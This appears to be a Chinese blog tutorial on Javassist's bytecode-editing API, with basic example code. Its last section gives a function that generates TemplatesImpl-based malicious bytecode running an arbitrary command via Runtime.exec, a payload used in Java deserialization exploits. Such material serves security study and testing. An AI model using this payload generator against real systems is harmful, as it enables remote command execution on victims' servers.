【Java】小白友好的Javassist源代码级别常用API学习笔记

目录

介绍

Javassist&ASM?

Javassist关键类

常用方法

ClassPool 的常用方法

CtClass 的常用方法

CtMethod 的常用方法

CtField 的常用方法

补充

setSuperclass in Javassist

constructor in Javassist

toBytecode in Javassist

Javassist实现TemplatesImpl恶意字节码生成方法


介绍

pom依赖

<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version>
</dependency>

Javassist使Java字节码操作变得简单,它是一个用于在Java中编辑字节码的类库
它使Java程序能够在运行时定义一个新类,并在JVM加载类文件时对其进行修改
与其他类似的字节码编辑器不同,Javassist提供了两个级别的API:源代码级别和字节码级别


如果用户使用源代码级API,他们可以在不了解Java字节码规范的情况下编辑类文件。整个API仅使用Java语言的词汇设计。甚至可以以源代码的形式指定插入的字节码,Javassist会即时地进行编译
另一方面,字节码级API允许用户像其他编辑器一样直接编辑类文件

Javassist&ASM?

javassist的主要优点是简单,使用javassist不需要了解class文件结构,也不需要了解字节码指令,就能动态改变类的结构或生成类,但这同时也是缺点,这种简单带来了局限性,也导致性能降低。
而ASM恰好与之相反,使用ASM需要了解底层,对使用者有一定的门槛,但ASM没有局限,我们完全可以使用ASM编写任意一个能用JAVA代码编写的类。

Javassist关键类

①ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass对象
②CtClass: CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得
③CtMethods: 表示类中的方法
④CtFields: 表示类中的字段

常用方法

ClassPool 的常用方法

  • getDefault(): 获取默认的 ClassPool 对象。
  • makeClass(String classname): 创建一个新的 CtClass 对象。
  • get(String classname): 根据类名获取现有的 CtClass 对象。
import javassist.ClassPool;
import javassist.CtClass;ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("com.example.NewClass");
CtClass existingClass = classPool.get("com.example.ExistingClass");

CtClass 的常用方法

  • addMethod(CtMethod method): 添加一个新的 CtMethod 对象。
  • addField(CtField field): 添加一个新的 CtField 对象。
  • toClass(): 将 CtClass 转换为实际的 Class 对象。
  • writeFile(): 将 CtClass 写入磁盘文件。
import javassist.CtClass;
import javassist.CtMethod;
import javassist.CtField;CtClass ctClass = classPool.makeClass("com.example.NewClass");
CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println(\"New Method\"); }", ctClass);
ctClass.addMethod(newMethod);
CtField newField = new CtField(CtClass.intType, "newField", ctClass);
ctClass.addField(newField);
Class<?> clazz = ctClass.toClass();
ctClass.writeFile("/path/to/output/directory");

CtMethod 的常用方法

  • make(String src, CtClass declaring): 根据源代码和声明类创建一个新的 CtMethod 对象。
  • getReturnType(): 获取方法的返回类型。
  • getParameterTypes(): 获取方法的参数类型。
  • getMethodBody(): 获取方法体(代码块)。
  • insertBefore(String src): 在方法体之前插入代码。
  • insertAfter(String src): 在方法体之后插入代码。
import javassist.CtMethod;CtMethod existingMethod = ctClass.getDeclaredMethod("existingMethod");
CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println(\"New Method\"); }", ctClass);
String returnType = existingMethod.getReturnType().getName();
CtClass[] parameterTypes = existingMethod.getParameterTypes();
String methodBody = existingMethod.getMethodBody();
existingMethod.insertBefore("System.out.println(\"Before method\");");
existingMethod.insertAfter("System.out.println(\"After method\");");

CtField 的常用方法

  • make(CtClass type, String name, CtClass declaring): 根据类型、字段名和声明类创建一个新的 CtField 对象。
  • getType(): 获取字段的类型。
  • getModifiers(): 获取字段的修饰符。
  • setModifiers(int modifiers): 设置字段的修饰符。
  • getDeclaringClass(): 获取声明该字段的类。
import javassist.CtField;CtField existingField = ctClass.getField("existingField");
CtField newField = CtField.make("private int newField;", ctClass);
CtClass fieldType = existingField.getType();
int modifiers = existingField.getModifiers();
existingField.setModifiers(Modifier.PRIVATE);
CtClass declaringClass = existingField.getDeclaringClass();

补充

setSuperclass in Javassist

在 Javassist 中,setSuperclass() 方法用于设置一个类的父类。通过 setSuperclass() 方法,可以将一个类指定为另一个类的子类,从而继承父类的属性和方法。

ClassPool classPool = ClassPool.getDefault();
CtClass superClass = classPool.get("com.example.SuperClass");CtClass subClass = classPool.makeClass("com.example.SubClass");
subClass.setSuperclass(superClass);

constructor in Javassist

constructor 是 Javassist 中用于表示构造函数的对象。通过 constructor,可以获取构造函数的参数信息、方法体等,并进行相应的操作,如修改构造函数的行为或生成新的构造函数

CtConstructor superConstructor = superClass.getDeclaredConstructors()[0]; // 获取第一个构造函数
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);

toBytecode in Javassist

toBytecode() 方法用于将构造函数、方法等转换为字节码形式。通过 toBytecode() 方法,可以获取构造函数的字节码表示,进而进行进一步的分析、修改或生成新的构造函数

byte[] bytecode = superConstructor.toBytecode();
System.out.println(new String(bytecode));

Javassist实现TemplatesImpl恶意字节码生成方法

public static byte[] genPayload(String cmd) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);return clazz.toBytecode();}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/728054.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电磁兼容EMC:单、双面板的均匀传输线

目录 1 传输线 2 均匀传输线 3 特征阻抗 4 应用案例 为何要讲单、双面板的均匀传输线&#xff1f;因为均匀传输线能保证信号质量&#xff0c;减少EMC问题&#xff0c;而单双面板没有完整的地和电源平面&#xff0c;很难实现均匀传输线的布线&#xff0c;所以更需要知道如何在…

[数据集][图像分类]玉米叶子病害分类数据集9145张4类别

数据集类型&#xff1a;图像分类用&#xff0c;不可用于目标检测无标注文件 数据集格式&#xff1a;仅仅包含jpg图片&#xff0c;每个类别文件夹下面存放着对应图片 图片数量(jpg文件个数)&#xff1a;9145 分类类别数&#xff1a;4 类别名称:["cercospora_leaf_spot gray…

08 |「Fragment 」

前言 实践是最好的学习方式&#xff0c;技术也如此。 文章目录 前言一、简介1、是什么2、为什么要有 Fragment3. Fragment 详细解释 二、Fragment 与 Activity 的直观理解三、Fragment 的创建1、Fragment 的创建方式2、Fragment 的增删替查1&#xff09; 替换&#xff08;常见&…

01背包问题 刷题笔记

思路 dp 用f[i][j]来表示当体积为j时 考虑前i件物品可以获得的 最大值 记住f[i][j]本身是个价“价值” 考虑两种状态 是否将第i件物品放入背包里面 将背包的体积从小到大递增来进行考虑 首先 考虑条件 如果当前增加的体积放不下下一件物品 则该体积 可以获得的最大值可以直接…

[剪藏] - 教育系统的成功

我在国内并没有系统地学习语音&#xff0c;在英国也未能成功&#xff0c;现在美国我确定我已经行驶在轨道上了&#xff08;即使未来的作业分数及格或不及格&#xff09;。 我反思有这么几点&#xff1a; 1. 美国紧扣系统的教材&#xff0c;不是老师自由发挥。教材是知识精英们…

tidyverse去除表格中含有NA的行

在tidyverse中&#xff0c;特别是使用dplyr包&#xff0c;去除含有NA的行可以通过filter()函数结合is.na()和any()或all()函数来实现。dplyr是tidyverse的一部分&#xff0c;提供了一系列用于数据操作的函数&#xff0c;使数据处理变得更加简单和直观。 以下是一个简单的例子&…

软考笔记--软件系统质量属性

一.软件系统质量属性的概念 软件系统的质量就是“软件系统与明确地和隐含的定义的需求相一致的程度”。更具体地说&#xff0c;软件系统质量就是软件与明确地叙述的功能和性能需求文档中明确描述的开发标准以及任何专业开发的软件产品都应该具有的隐含特征相一致的程度。从管理…

关于汽车E\E架构演进的思考(2)

目录 1.概述 2. 整车通信的限制 3 如何保证融合ECU的功能安全和信息安全 4.小结 1.概述 上篇文章主要聊了当前电子电气架构以及未来电子电气架构的特点&#xff0c;简述了即将要面临的挑战&#xff0c;下面我们继续讲述挑战。 2. 整车通信的限制 下一代架构主要以以太网…

python 爬虫 爬电视剧 小网站没经验别看 这个网站没看到不让爬的公告 也没说流量啥的 应该能爬 你们用的话要注意 只供学习使用 不可商用

在开始运行爬虫之前&#xff0c;请确保已经安装了相关依赖&#xff0c;并且在目标小网站上搜索你想要下载的电视剧名称&#xff0c;确认能够精确搜索到相关内容而没有被禁止爬取或者受到流量限制。如果你对爬虫没有相关经验&#xff0c;建议先撤退。 为了爬取电视剧内容&#…

记一次busybox-mountPath简单但容易忽略的问题open /proc/self/fd: no such file or directory

目录 一.设备条件介绍 二.我的目的 三.问题所在 1.在用以下pod进行测试的时候出现问题 2.报错 3.解决 4.解决完成 一.设备条件介绍 [rootk8s-master pv]# containerd --version containerd containerd.io 1.6.25 d8f198a4ed8892c764191ef7b3b06d8a2eeb5c7f ​ [rootk…

Centos9环境部署MySQL的PXC

前期理解 pxc就是将多个mysql数据库整合为一个集群&#xff0c;每台服务器上的mysql数据库会实时同步&#xff0c;而且节点与节点之间&#xff0c;他们相互的关系是对等的。PXC 最关注的是数据的一致性&#xff0c;对待事物的行为时&#xff0c;要么在所有节点上执行&#xff…

爬虫(四)

1.图片验证码 import requestsres requests.get(https://www.gushiwen.cn/RandCode.ashx)with open("code.png", "wb") as f:f.write(res.content)2.打码平台 网址&#xff1a;http://www.ttshitu.com/&#xff0c;找到开发文档点击Python,没有钱了要用我…

Day 53 |● 1143.最长公共子序列 ● 1035.不相交的线 ● 53. 最大子序和

1143.最长公共子序列 class Solution { public:int longestCommonSubsequence(string text1, string text2) {vector<vector<int>> dp(text1.size()1,vector<int>(text2.size()1,0));int res 0;for(int i 1; i < text1.size(); i){for(int j 1; j <…

Leetcode148 排序链表

排序链表 题解1 线性表题解2 自顶向下归并排序题解3 自底向上归并排序 给你链表的头结点 head &#xff0c;请将其按 升序 排列并返回排序后的链表 。 题解1 线性表 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* L…

网络编程第1天

OSI的七层网络模型有哪些&#xff0c;每一层有什么作用&#xff1f; &#xff08;1&#xff09;应用层 负责处理不同应用程序之间的通信&#xff0c;需要满足提供的协议&#xff0c;确保数据发送方和接收方的正确 应用层提供的协议&#xff1a; HTTP&#xff1a;超文本传输…

React-Redux简单使用

1.配置环境 1.1开启项目 npx create-react-app react-redux-pro 1.2安装配套工具 说明&#xff1a;安装Redux Toolkit和react-redux。Redux Toolkit(RTK)~官方推荐编写Redux逻辑的方式&#xff0c;是一套工具的集合集&#xff0c;简化书写方式&#xff1b;react-redux-用来…

【Leetcode】3028.边界上的蚂蚁

题目描述 思路 题目中要求我们返回 蚂蚁返回到边界的次数。简单来想&#xff0c;就是蚂蚁原来的位置的一维坐标为0&#xff0c;然后经过&#xff0c;若干次移动&#xff0c;统计有几次坐标再次变为0的个数。 我们利用前缀和&#xff0c;像定义一个数组&#xff0c;算出前缀和数…

CleanMyMac X 4.14.6 2024核心功能详解 CleanMyMac X中文官网安装包 Mac电脑系统清理软件

CleanMyMac 是 macOS 上久负盛名的系统清理工具&#xff0c;2018 年&#xff0c;里程碑式版本 CleanMyMac X 正式发布。不仅仅是命名上的变化&#xff0c;焕然一新的 UI、流畅的动画也让它显得更加精致。新增的系统优化、软件更新等功能&#xff0c;使得在日常使用 macOS 时有了…

JavaEE之volatile关键字

一.内存可见性问题 什么是内存可见性问题 计算机运行的程序/代码&#xff0c;往往需要访问数据。这些数据往往存在于内存中。 cup使用此变量时&#xff0c;就会把内存中的数据先读出来&#xff0c;加载到cpu寄存器中&#xff0c;再去参与运算。 但是&#xff0c;关键是cpu读…

Flink实时数仓同步:实时表实战详解

一、背景 在大数据领域&#xff0c;初始阶段业务数据通常被存储于关系型数据库&#xff0c;如MySQL。然而&#xff0c;为满足日常分析和报表等需求&#xff0c;大数据平台采用多种同步方式&#xff0c;以适应这些业务数据的不同存储需求。这些同步存储方式包括离线仓库和实时仓…